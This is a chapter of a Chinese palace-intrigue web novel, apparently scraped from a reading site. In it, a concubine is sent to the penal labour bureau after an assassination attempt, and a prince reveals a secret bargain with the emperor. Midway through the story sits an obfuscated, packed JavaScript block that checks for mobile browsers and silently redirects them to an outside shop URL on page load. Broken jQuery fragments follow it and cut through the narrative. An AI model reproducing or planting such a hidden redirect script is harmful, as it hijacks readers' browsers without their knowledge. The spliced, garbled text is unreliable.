默认冷灰
24号文字
方正启体

8. 008

作者:霁泽本书字数:K更新时间:
    凌昭降下处置,不管后宫几位的反应,抬步离开。


    “陛下,婉婉她……”王知微欲替孟玉婉求情。


    “王贵嫔。”凌昭回身瞧她,“朕忍耐有限,你适可而止。”


    直到此刻,王知微才明白最初那一地碎瓷的意思。孟玉婉御前失仪?有谁瞧见?


    今晚是她王家惨输。


    王知微不愿孟玉婉离开宜春宫,但情势逼迫,陛下说她失仪就是失仪,她没有办法。


    苏怀仁在前挑起宫灯,伺候着凌昭离去。端立原地的何丽妃,却似打了一场胜仗。尤其孟玉婉被罚去暴室,陛下完全挽回了她罚孟玉婉去暴室舂米,但让太后和王知微阻拦的颜面。


    “有些人该是什么命,就该什么命。王贵嫔早些认清楚,也免白费力气不是?”


    何文秀奚落过王知微,步下台阶,站定孟玉婉身旁,施舍般瞥去一缕目光,“暴室是个好地方,你便多学学规矩。放心,等陛下气消,本宫会替你美言。”


    梁嫔落后她一步,接过何文秀的话,“如此不知分寸的奴婢,就该待在暴室终生不得出。丽妃娘娘当真大度,忍得下这口气儿。”


    何文秀对梁嫔今夜出的风头甚是讨厌,压着戾色扫过她发间那朵白玉兰,无所谓地笑:“有些气忍忍也就过了,总好过揣在心头跟自己过不去。梁嫔深得圣心,想必遇不着这些。”


    梁嫔哪能听不出她话中有话,一点不吃素的回敬回去,“丽妃娘娘哪里话。阖宫皆知,娘娘是陛下登极后唯一亲封的嫔妃,嫔妾等都不过受太后娘娘恩典。再说,娘娘贵为八妃之一,淑贞贤德,嫔妾等敬奉都来不及呢。娘娘何须自谦。”


    何文秀脸上皮笑肉不笑,气得发根发痒,“本宫比不得梁妹妹,能说会道。”


    梁嫔两颊含笑,倒也没摆出那副胜利者姿态,对何丽妃福了福身,“嫔妾嘴拙,若说了什么不中听的,还望丽妃娘娘宽容则个。嫔妾今晚受惊不轻,便先行回宫去了。”


    何丽妃无可无不可,“梁妹妹慢走。”


    临走时,梁嫔又分了个眼神落在孟玉婉身上,审视了番,才转身向重华宫的宫道行去。


    梁嫔走后,何文秀等了一阵王知微,欲与王知微结伴。能瞧王知微吃瘪,她想,今个晚上睡梦里都能安稳。


    “丽妃娘娘,一道回吧。”


    王知微并不搭理何丽妃,步下台阶,亲手扶起孟玉婉后,低声对其说了几句,便在贴身丫鬟月眉的虚扶下,自顾走了。反而是看了一晚上戏的赵霁雪,出言邀请何文秀,替何文秀递去一个台阶。


    两人并肩而行,路过躺着刺客尸首的地方,还加快了步伐。


    “呀!”


    “啊!”


    为何文秀打灯的聪儿,不小心照到最后一俱尸首的脸上,吓得何文秀轻呼一声。旁行的赵霁雪瞧见尸首那张脸,更吓得失声惊喊,一下失了力气。


    “赵才人!”


    聪儿慌忙移开灯笼,一把稳住被吓的何丽妃,又忙去扶住颤抖起来的赵霁雪。


    “都怪奴婢!”说着,聪儿就要请罚。


    何丽妃骂她,“做什么挑个灯都挑不好,吓得赵才人今晚定要做噩梦。当真该死。”


    赵霁雪闭了闭眼,脸上血色尽失,“怪嫔妾胆小,不妨事,不妨事的。”


    刺客尸首还没处理,领着神威右军拱卫凉亭的凌禹,并未随陛下离开。见那头热闹,于情于理,他便也过去问了一声,“两位娘娘还好?都怪本王耽搁,害两位娘娘受惊了。”


    凌禹指挥属下,“还不都过来将这些抬走。”


    赵霁雪捂住心口,颤声问道:“安王殿下,这些全部都乃行刺陛下的刺客?”


    凌禹心笑她的确吓得不轻,竟问出蠢话来了,“自然。这些人指不定在宫中各处藏伏了多久,接下来,还待本王细查。两位娘娘可要再辨一辨,看有无认识的,也助本王节省些功夫。”


    赵霁雪应激一般,声音愈发颤抖,“不不,嫔妾胆小,实在害怕。”


    “是啊,辛苦殿下费心,我等没那胆色。”何丽妃附和,她也不愿在晚上做噩梦。


    凌禹没有半分强求,佯作歉意,“是本王唐突,思虑不周。时候不早了,两位娘娘还请回宫吧。”


    赵霁雪两腿使不上劲儿,在侍女借扶下与何丽妃一步步向前,身影消失在了宫道拐角处。


    习习夜风依旧,吹来尚未散去的血腥味,令孟玉婉不适的拧紧了眉头。


    凌禹走回去,当着御前大内官周青的面,上下扫视她几眼,对她解释了一句:“你不能一直待在宜春宫里,受王家控制。今夜一过,宫中各处机构全部要严查,相比之下,暴室里更安全。”


    安王没头没尾的几句,说得孟玉婉更为疑惑。她发现,有太多事是她不知的。


    “那些人是雪堂……”她望向被抬走的刺客尸体。


    凌禹颔首,“对。今晚是将计就计,一箭三雕。”


    属于其中一雕的孟玉婉又问:“你们为何帮我,我在哪里……”这时,她刻意忘记自称奴婢,“我在哪处宫里,孟家如何……”


    凌禹打断她,“你不用多想。此是孟贵妃和陛下达成的交易。”他明白告诉她,“在你姐姐生下先帝遗腹子之前,陛下有答应孟贵妃,保你性命无虞。但苦头么……”


    他把话头转向周青,“周青会带你去暴室,会交代管事。但既然是暴室,苦头多少有一点。”


    孟玉婉问出她最为担心之事,“那待我姐姐生下孩子之后……”


    凌禹沉默片刻。


    “本王不知。”


    孟玉婉轻摇头,“不是问我,是我姐姐她会……”


    凌禹拒绝回答,吩咐周青,“你带她去暴室。”


    孟玉婉似心有猜测,声音一下哽咽,“殿下,王爷,求你告诉我。”


    “周青!”凌禹斥催周青。


    周青忙对孟玉婉摆出一个“请”的手势,但孟玉婉只顾答案。


    见她不走,凌禹自己走。


    “十哥!”


    从他俩见面就卡在喉咙的那句‘十哥’,终是喊了出来。孟玉婉眼带哀求,求着凌禹。


    凌禹身形一顿。


    “十哥……”孟玉婉忍住哭声,“我知道,我没脸再唤殿下一声十哥,但求安王殿下,给奴婢一句准话。陛下他是要——”她说不出那句“要她孟家不得翻身,要她姐姐性命。”


    凌禹暗叹,应她道:“你的事,孟家之事,包括孟贵妃生死在内,端看九哥。”


    前提是在权利平稳过渡,剪除王家势力之后。


    “听明白没?”他说的是‘九哥’,并非皇帝。


    孟玉婉逼回眼泪,勉强点头,“谢谢殿下,我……奴婢明白了。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415039|200746||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “周青。”凌禹再次催促。


    周青常年随在陛下身边,打小起就伺候主子,对自家主子和孟二小姐之间发生的事,算是清楚。他道:“二小姐请吧。明日,咱家会让人去宜春宫替二小姐收拾东西。”


    话落,他又问侍立一旁的春若,“你可愿随孟二小姐去暴室?”


    春若没有半分不情愿,立刻答道:“谢周总管成全,奴婢愿意。”


    周青颔首。


    “便一块走吧。”


    暴室在前朝几代都是总揽后宫刑罚、监狱、织造、浣洗等一系列事务的机构之所。但自今朝高皇帝起,下辖的多数机构从中独立,后来建立了六尚局,基本职能便被六尚局取代。


    如今的暴室在宫内几乎名存实亡,仅还保留着各类苦役刑罚,做收容和惩治犯事宫人之所。


    周青将孟玉婉二人交给总领暴室大小事务的秦嬷嬷后,郑重交代过,便匆匆回到紫宸殿,向陛下复命。


    紫宸殿内,有龙涎香从案前两侧的三足掐丝珐琅香鼎中,袅袅轻腾。


    凌昭端坐案后,手握一本弹劾王家家奴当街欺辱良家女子的奏疏,瞳光冷峻。


    今夜原该周青上值。是以他人一到,没急着进殿,而是先与苏怀仁交班。


    苏怀仁笑道:“见到周总管忙前忙后仍精神不减,不得不令人感叹:长江后浪推前浪啊。咱家是真老了,精神头跟不上咯。”


    周青应和,“苏总管老当益壮呢,又是伺候过两代帝王的,以后多得是地方,要跟苏总管讨教,还望前辈不吝赐教啊。”


    苏怀仁打了个哈哈。


    周青与他随意寒暄过几声,交了班,亲自泡好茶,端进殿内换掉了御案上那杯凉的。


    他深知,自家主子一旦忙碌起来,甭管什么茶水点心,摆没摆在案上,总之是顾不上。


    见他回来,凌昭从奏疏中抬起目光,搁下奏疏,端起那杯热茶掀盖撇了撇。


    周青一面替主子整理御案,一面回话,“回主子,奴婢把人送过去了。”


    凌昭浅啜一口茶水,低“嗯”一声。


    周青思忖了番,小心提到:“殿下对二小姐挑明了主子与孟贵妃之间的协定,告诉了二小姐,在孟贵妃生产之前,主子会保二小姐性命无虞。”


    凌昭看他,等他下文。


    周青忙道:“二小姐还逼问了殿下,问起孟贵妃生产以后,主子对孟贵妃存留与否之事……”


    “哦?”凌昭又啜一口茶,喉结滚动,“你们殿下怎么说。”


    周青明白以主子和安王殿下当年相依为命的过往,即使主子如今贵为至尊,安王殿下仍乃主子最信任之人。否则,便不会把拱卫紫宸宫与随护御驾的神威左右两军,全交给安王总领。


    “奴婢得先说,在殿下原话之前,二小姐已急得快哭了,失口唤了殿下一声‘十哥’。”这话说完,周青僭越的瞄了眼主子神色。


    凌昭眉宇皱起,“有话一起说完。回一半留一半的,等朕审你?”


    “主子息怒,奴婢哪儿敢。”周青作势一跪,“殿下对二小姐的原话是:‘你的事,孟家之事,包括孟贵妃生死在内,端看九哥。’”


    紫宸殿内越发安静,在周青回完这句话,流动的空气都好似凝固了。


    半晌,凌昭才噔地搁下茶盏,示意周青起来,也不知骂谁,“倒都闲得无事做了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)